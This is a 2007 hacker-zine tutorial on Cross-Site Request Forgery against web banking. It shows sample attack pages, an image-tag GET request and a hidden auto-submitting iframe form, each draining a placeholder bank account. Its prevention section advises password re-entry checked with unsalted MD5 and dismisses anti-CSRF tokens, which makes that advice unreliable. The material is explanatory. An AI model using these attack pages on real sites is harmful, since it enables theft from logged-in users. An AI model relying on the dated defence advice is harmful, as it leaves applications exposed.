Paper: Cross-Site Request Forgery: the Sea Surf

Written by Nexus, PlayHack.net

Saturday, 3 November 2007

---------------------------[ PLAYHACK.net ]-------------------------------

-[ INFOS ]--------------------------------------------------------------------
Title: "Cross Site Request Forgery: the Sea Surf"
Author: Nexus
Website: http://nexus.playhack.net
Date: 2007-04-29, Updated in 2007-05-20 (ISO 8601)
---------------------------------------------------------------------------------

-[ SUMMARY]---------------------------------------------------------------
0x01: Hello World
0x02: Introduction
0x03: About Authentications
0x04: Difference between XSS and CSRF
0x05: Get deep in CSRF
0x06: Attack Points
0x07: Prevention
0x08: Conclusions
---------------------------------------------------------------------------------

---[ 0x01: Hello World ]
Yo!
Classical title for the first paragraph indeed :) Don't think there's a better name out there! Ok, i know it's clueless, but let me do the ritual thanks and shoutouts and then i'll move on serious business!

Intake: Actually some coke only, it's too hot for eating anything :Q
Music: Rage Against The Machine - Know your Enemy

Shoutouts: as it comes all my playhack.net bros (Omni, GOD, Null and all the users), str0ke (the c00lest guy out there :P) and my girlfriend, who's having a bath right now and giving me the time to write this stuff (don't tell her, she still think i'm working :o) and obviously everyone reading this paper. Thanks!
-----------------------------------------------------------------------------[/]

---[ 0x02: Introduction ]
Today we talk about Cross Site Request Forgery (also known as XSRF) abbreviated in CSRF, from which pronounce has come the friendly name "Sea Surf" ;)
Following the previous papers on Cross Site Scripting written by me, i thought it was an obvious step to deal with this theme: here i am then!

This kind of vulnerability, which is very common and understimated, permits to make a victim user to send any kind of HTTP request to a website in which he is logged in and trusted in some way.

In this way the attacker, forging some malicious HTML or JavaScript code, uses an opened session of the victim to make HIM doing actions, which really complicates the identification of a CSRF attack.

This Session Riding could easily be taken in action with markup languages (such as Blog's and Wiki's syntax) and BBcode too.
-----------------------------------------------------------------------------[/]

---[ 0x03: About Authentications ]
Commonly when a user logs into a trusted website, the authentication system will flag this person with a "token" that tells to the website that the current user is authed and authorized to visit some reserved pages and services.

These "tokens" are realized with the creations of Cookies and Sessions, commonly generated with some hashed or encoded number , which strictly identify a single user.

Anytime this user logs into the website with his own credentials he will be flagged and a new session will be generated, and meanwhile an attacker could easily makes some unauthorized actions in the "ward" of that website ;)

It could looks like something quite un-dangerous, because only an idiot user will accept any kind of request that will disfrut his own authentication: great mistake! Don't ever understimate the power of a sweet Cookie! :P

Cookies are the aim of the most XSS attacks because permits an instant access to any kind of confidential and private service an user has privileges on: the CSRF is even more powerful, because disfruts the current session and cannot be avoided easily if the website doesn't provide very short temporary cookies.
-----------------------------------------------------------------------------[/]

---[ 0x04: Difference between XSS and CSRF ]
Actually, what's the real difference between XSS and CSRF? They look very similars!

As a matter of fact they're quite similars, but there's a core difference that makes the two vulnerabilities strictly opposed eachothers.

In the XSS vulnerabilities the USER trusts the WEBSITE's integrity, and gets tricked to give direct informations to the ATTACKER (with cookie grabbing of fake logins for example).

In the CSRF vulnerabilities is the WEBSITE that trusts in the USER's requests and accomplish any kind of action that comes from his flagged authentication in order to get some advantages to the ATTACKER.

The Cross Site Request Forgery situation can be resumed with this graph:

	                     
                           trusted <-----flag-----.
	.----------.          .------.           .---|-----.
	| ATTACKER |__________| USER |___________| WEBSITE |
	`----------`  tricks  `------` (request) `---------`
	      |           \_ _ _ _ _ _ _ _/          |
	      |				             |
	      `--------------------------------------`

the website accomplishes the request

As we can see the situation is opposed to the XSS' one, the website (trusting the authentication and the authorizations of the user) just accomplishes the request that are sent to him, which are obscured to the USER's awareness.

The important point of this attack is that the request to the website is sent by the USER, not the ATTACKER: this makes the vulnerability more dangerous.
-----------------------------------------------------------------------------[/]

---[ 0x05: Get deep in CSRF ]
Okay, now that we got a general idea of what CSRF is, let's try to get into some simple examples.

Assure that for example a user is subscribed into a website that provide some particular services, maybe which even schedule some money transactions: when the user logs in, the server will create a cookie or a session that flags the user as authed and authorized to access to his own private pages.

Assure also that the website is maybe a e-banking service and it provides an HTML form which perform money transactions, and the code will look like:


<form method="POST" action="sendmoney.php" name="sendmoney">
<div>How much: <input type="text" name="cash"></div>
<div>To: <input type="text" name="toname"></div>
<div>ABI: <input type="text" name="toabi"></div>
<div>CAB: <input type="text" name="tocab"></div>
<div>CIN: <input type="text" name="tocin"></div>
<div><input type="submit" name="submit" value="Buy"></div>
</form>


Through this form the user could transfer some money to the target bank account.
Ok, it's really a stupid thing and quite impossible to be found right that, but it's only to make you understand the thing more clearly :P don't complain for that please!

Ok, when the user will submit the values of the form the script sendmoney.php will execute the query and make the e-banking system accomplish his request of transfer.
Maybe the script will look like:

/* sendmoney.php */
<?
session_start();
if(isset($_REQUEST['cash']))
$cash = $_REQUEST['cash'];
else
die("Specify the amount of money");
if(isset($_REQUEST['toname']))
$toname = $_REQUEST['toname'];
else
die("Specify a recipient");
if(isset($_REQUEST['toabi']))
$toabi = $_REQUEST['toabi'];
else
die("Specify the ABI");
if(isset($_REQUEST['tocab']))
$tocab = $_REQUEST['tocab'];
else
die("Specify the CAB");
if(isset($_REQUEST['tocin']))
$tocin = $_REQUEST['tocin'];
else
die("Specify the CIN");

// This function safely send the money to the target
send_money($cash, $toname, $toabi, $tocab, $tocin);

?>
/* EOF */

Consider that this script is well written and the send_money() sanitizes all the variables that are submitted to him, the transfer will be finally accomplished.

In this particular case the use of REQUEST global variable allows to an attacker to disfrut the GET method in order to trick the user and steal his money :)

If the user is authed in, as we previously said, an attacker could provide to the user a webpage or an image which will look like something like this:


<html>
<head><title>Cool Thing</title></head>
<body>
<img src="http://bankhost.com/sendmoney.php?cash=ALL&toname=ME&toabi=
123456&tocab=123456&tocin=X">
</body>
</html>


Actually, if the user invited to visit this page is contemporary logged into the "bankhost.com" website, the image loaded will send an HTTP request to that website asking him to accomplish that transaction: the fact is that the transfer will be formerly commanded from the user himself.

Ok.. this is not really a good way for managing the transaction: the REQUEST global is not that safe, most probably the script sendmoney will use the POST variables instead, because they may think that it would be more secure.
Obviously it is not.

Consider that the coolthing.html file will look instead like:


<html>
<head>
<title>Cool Thing</title>
<script>
stealMoney() {
iframe = document.frames["stealmoney"];
iframe.document.steal.submit();
}
</head>
<body onload="stealMoney()">
<div><img src="reallyc00landfunnypicture.jpg"></div>
<iframe name="stealmoney" display="none">
<form method="POST" name=" steal"
action="http://bankhost.com/sendmoney.php">
<input type="hidden" name="cash" value="ALL">
<input type="hidden" name="toname" value="ME">
<input type="hidden" name="toabi" value="123456">
<input type="hidden" name="tocab" value="123456">
<input type="hidden" name="tocin" value="X">
</form>
</iframe>
</body>
</html>


As we can see this page's appereance is composed only by the c00l picture loaded, but as an hidden action a crafted form in the iframe "stealMoney" will execute a request to the "bankhost.com" website, asking to the user's session to transfer the money to the targeted infos :)

This is just a stupid example, but through this you can imagine what kind of entity this vulnerability can take.
-----------------------------------------------------------------------------[/]

---[ 0x06: Attack Points ]
Let's summarize then what happens creating a CSRF attack.
1- The attacker find a clueless user which is registered to a service vulnerable of CSRF
2- The attacker creates an html page which automatically send some requests to the vulnerable website
3- The victim logs into the website and get an opened session
4- The attacker provides the crafted html page to the victim
5- The victim visits that page
6- the HTTP request is sent and the malicious action accomplished :)

I think actually that it's quite easy to understand how much dangerous this vulnerability could is for a smart and malicious attacker which basically knows how to move his attacks.
-----------------------------------------------------------------------------[/]

---[ 0x07: Prevention ]
Now that we understood how a CSRF attack is taken in action let's try to analize how we could prevent and protect ourself from this kind of flaws.
In these months has been widely discussed how to prevent this kind of vulnerability but commonly without reaching any kind of fixed, stable and functional conclusion.
It has been talked about Unique Tokens, Captchas and others.. but i still think they still won't be enough for this or simply can not be implemented smartly.

Awaiting for better results i suggest all of you to consider to ask to the user the password again at least on sensitive pages (like e-commerce forms and stuff), in order to be sure that the session cannot be hijacked (actually.. if the attacker doesn't know the user password he couldn't do anything dangerous and on the other side if he really know the password, he doesn't require CSRF at all :P).

It's really easy to implement this security misure, adding a new field in the
form:


<form method="POST" action="sendmoney.php" name="sendmoney">
<div>How much: <input type="text" name="cash"></div>
<div>To: <input type="text" name="toname"></div>
<div>ABI: <input type="text" name="toabi"></div>
<div>CAB: <input type="text" name="tocab"></div>
<div>CIN: <input type="text" name="tocin"></div>
<div>Your passord: <input type="password" name="pass"></div>
<div><input type="submit" name="submit" value="Buy"></div>
</form>


And as it comes we'll put a check like following in the 'sendmoney.php' file:

/* scratch from sendmoney.php */
if(isset($_POST['pass']) && md5($_POST['pass']) == $mysql_row['pass']) {
...
} else {
die("You must specify a correct password!");
}
/* EOF */

In this way the CSRF attack attempts will be nullified if the attacker is not aknowledged of confidentials infos like the Password for example.

Other solutions like Unique Tokens based on PHP Sessions should be avoided because the attacker could bypass them.
-----------------------------------------------------------------------------[/]

---[ 0x08: Conclusions ]
Even this paper is actually finished: i hope as always that you enjoyed it at least as much as i enjoyed studying this theme.

Remember that you can always send feedback to me at nexus @ playhack . net :)

Thanks to everybody out there and cheers to the italian scene! :D
-----------------------------------------------------------------------------[/]

\======================================[EOF]=====================================/

Share this content: